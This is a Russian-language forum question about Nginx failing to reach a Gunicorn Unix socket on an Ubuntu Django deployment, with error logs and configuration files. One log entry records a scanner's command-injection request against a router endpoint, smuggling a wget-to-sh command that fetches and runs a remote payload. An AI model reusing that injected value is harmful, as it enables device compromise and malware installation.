Nginx не может подключиться к сокету Gunicorn

У меня возникла проблема с установкой Nginx и Gunicorn на моем сервере Ubuntu, и я был бы очень признателен за вашу помощь в ее решении.

Подробности выпуска:

Я настроил Nginx на подключение к Gunicorn с помощью Unix-сокета, расположенного по адресу /run/gunicorn.sock. Однако Nginx неоднократно не удается подключиться к этому сокету, о чем свидетельствуют журналы ошибок. Ниже приведены соответствующие сообщения об ошибках из журнала Nginx:

2024/08/21 20:42:42 [crit] 1706#1706: *1 connect() to unix:/run/gunicorn.sock failed (2: No such file or directory) while connecting to upstream, client: 5.195.239.46, server: 3.28.252.207, запрос: "GET / HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/", host: "3.28.252.207". 2024/08/21 20:42:47 [crit] 1705#1705: *3 connect() to unix:/run/gunicorn.sock failed (2: No such file or directory) while connecting to upstream, client: 185.224.128.83, server: 3.28.252.207, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.196%3A88%2Ft%7Csh%3B%60) HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.196%3A88%2Ft%7Csh%3B%60)", host: "3.28.252.207:80" 2024/08/21 20:46:09 [error] 1706#1706: *5 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 5.195.239.46, server: 3.28.252.207, запрос: "GET / HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/", host: "3.28.252.207". 2024/08/21 20:46:10 [error] 1706#1706: *5 connect() to unix:/run/gunicorn.sock failed (111: Connection refused) while connecting to upstream, client: 5.195.239.46, server: 3.28.252.207, запрос: "GET / HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/", host: "3.28.252.207"

Создание сокета и разрешения:

Я проверил, что Gunicorn правильно настроен на создание файла сокета по адресу /run/gunicorn.sock. Файл сокета имеет правильные разрешения и принадлежит пользователю www-data. Конфигурация Nginx:

Конфигурация Nginx была настроена на подключение к сокету Unix с помощью следующего блока:

upstream gunicorn_server {
    server unix:/run/gunicorn.sock fail_timeout=0;
}
server {
    listen 80;
    server_name 3.28.252.207;

    location / {
        proxy_pass http://gunicorn_server;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

    location /static/ {
        alias /home/ubuntu/OCC_Drivers_Headcount/staticfiles/;
    }

    location /media/ {
        alias /home/ubuntu/OCC_Drivers_Headcount/media/;
    }

    error_log /var/log/nginx/occ_drivers_headcount_error.log;
    access_log /var/log/nginx/occ_drivers_headcount_access.log;
}

Конфигурация супервизора Gunicorn:

Вот конфигурация супервизора для управления Gunicorn:

[program:gunicorn]
command=/home/ubuntu/OCC_Drivers_Headcount/env/bin/gunicorn -c /home/ubuntu/OCC_Drivers_Headcount/gunicorn.conf.py staff_transport.wsgi:application
directory=/home/ubuntu/OCC_Drivers_Headcount
user=ubuntu
autostart=true
autorestart=true
redirect_stderr=true

Перезапуск службы:

Службы Gunicorn и Nginx были перезапущены несколько раз, чтобы обеспечить правильный порядок запуска и загрузки конфигурации.

Альтернативное расположение гнезда:

Я также попытался изменить расположение файла сокета на более постоянный каталог, но проблема сохраняется.

Ниже приведена структура каталогов моего проекта Django:

~/OCC_Drivers_Headcount/
├── Drivers_Master/
├── Procfile
├── SQL.sql
├── db.sqlite3
├── duty/
│   ├── __init__.py
│   ├── admin.py
│   ├── apps.py
│   ├── forms.py
│   ├── models.py
│   ├── templates/
│   ├── tests.py
│   ├── urls.py
│   └── views.py
├── env/
├── manage.py
├── requirements.txt
├── staff_transport/
│   ├── __init__.py
│   ├── asgi.py
│   ├── settings.py
│   ├── urls.py
│   └── wsgi.py
├── static/
│   ├── StaffDriverForm.js
│   ├── favicon.ico
│   ├── logo192.png
│   ├── manifest.json
│   ├── myapp/
│   └── static/
│       ├── css/
│       ├── js/
│       └── media/
├── staticfiles/
└── venv/

Не могли бы вы дать рекомендации или предложить дополнительные шаги по устранению неполадок, которые помогут выявить и решить проблему? Если требуется какая-либо дополнительная информация или журналы, я буду рад предоставить ее.

Вернуться на верх